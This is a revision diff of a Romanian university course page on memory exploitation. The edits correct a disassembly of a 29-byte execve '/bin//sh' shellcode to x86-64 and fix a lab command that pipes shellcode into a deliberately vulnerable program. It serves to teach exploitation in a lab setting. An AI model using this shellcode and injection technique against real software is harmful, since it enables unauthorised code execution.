This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
secure-low-level-programming:capitole:06-exploatarea-memoriei [2018/12/19 12:15] razvan [Buffer overflow pe variabilă locală] |
secure-low-level-programming:capitole:06-exploatarea-memoriei [2018/12/21 10:41] (current) razvan [Rulare de shellcode] |
||
---|---|---|---|
Line 85: | Line 85: | ||
Accesăm directorul ''run-shellcode/'' din arhiva de suport. | Accesăm directorul ''run-shellcode/'' din arhiva de suport. | ||
- | Urmăriți conținutul fișierului ''prog.c'' și rulați executabilul ''prog.''. Programul vă deschide un shell nou. Ca să ieșiți din acel shell folosiți comanda ''exit'' sau combinația de taste ''Ctrl+d''. | + | Urmăriți conținutul fișierului ''prog.c'' și rulați executabilul ''prog''. Programul vă deschide un shell nou. Ca să ieșiți din acel shell folosiți comanda ''exit'' sau combinația de taste ''Ctrl+d''. |
Programul folosește variabila ''shellcode'' pentru a reține un cod binar care generează un shell (realizează apelul de sistem ''execve'') atunci când este executat. | Programul folosește variabila ''shellcode'' pentru a reține un cod binar care generează un shell (realizează apelul de sistem ''execve'') atunci când este executat. | ||
Line 92: | Line 92: | ||
<code> | <code> | ||
student@pr706-pc:~$ echo -en '\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' > shellcode | student@pr706-pc:~$ echo -en '\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' > shellcode | ||
- | student@pr706-pc:~$ objdump -D -M intel -b binary -m i386 shellcode | + | student@pr706-pc:~$ objdump -D -M intel -b binary -m i386:x86-64 shellcode |
shellcode: file format binary | shellcode: file format binary | ||
Line 99: | Line 99: | ||
Disassembly of section .data: | Disassembly of section .data: | ||
- | 00000000 <.data>: | + | 0000000000000000 <.data>: |
0: 6a 42 push 0x42 | 0: 6a 42 push 0x42 | ||
- | 2: 58 pop eax | + | 2: 58 pop rax |
3: fe c4 inc ah | 3: fe c4 inc ah | ||
- | 5: 48 dec eax | + | 5: 48 99 cqo |
- | 6: 99 cdq | + | 7: 52 push rdx |
- | 7: 52 push edx | + | 8: 48 bf 2f 62 69 6e 2f movabs rdi,0x68732f2f6e69622f |
- | 8: 48 dec eax | + | f: 2f 73 68 |
- | 9: bf 2f 62 69 6e mov edi,0x6e69622f | + | 12: 57 push rdi |
- | e: 2f das | + | 13: 54 push rsp |
- | f: 2f das | + | 14: 5e pop rsi |
- | 10: 73 68 jae 0x7a | + | 15: 49 89 d0 mov r8,rdx |
- | 12: 57 push edi | + | 18: 49 89 d2 mov r10,rdx |
- | 13: 54 push esp | + | |
- | 14: 5e pop esi | + | |
- | 15: 49 dec ecx | + | |
- | 16: 89 d0 mov eax,edx | + | |
- | 18: 49 dec ecx | + | |
- | 19: 89 d2 mov edx,edx | + | |
1b: 0f 05 syscall | 1b: 0f 05 syscall | ||
</code> | </code> | ||
Line 129: | Line 123: | ||
Va trebui să mențineți conexiunea activă la standard input pentru ''vuln''. Cel mai indicat este să folosiți comanda: | Va trebui să mențineți conexiunea activă la standard input pentru ''vuln''. Cel mai indicat este să folosiți comanda: | ||
<code> | <code> | ||
- | cat <(echo -en '<TODO_shellcode>) - | ./vuln | + | cat <(echo -e '<TODO_shellcode>') - | ./vuln |
</code> | </code> | ||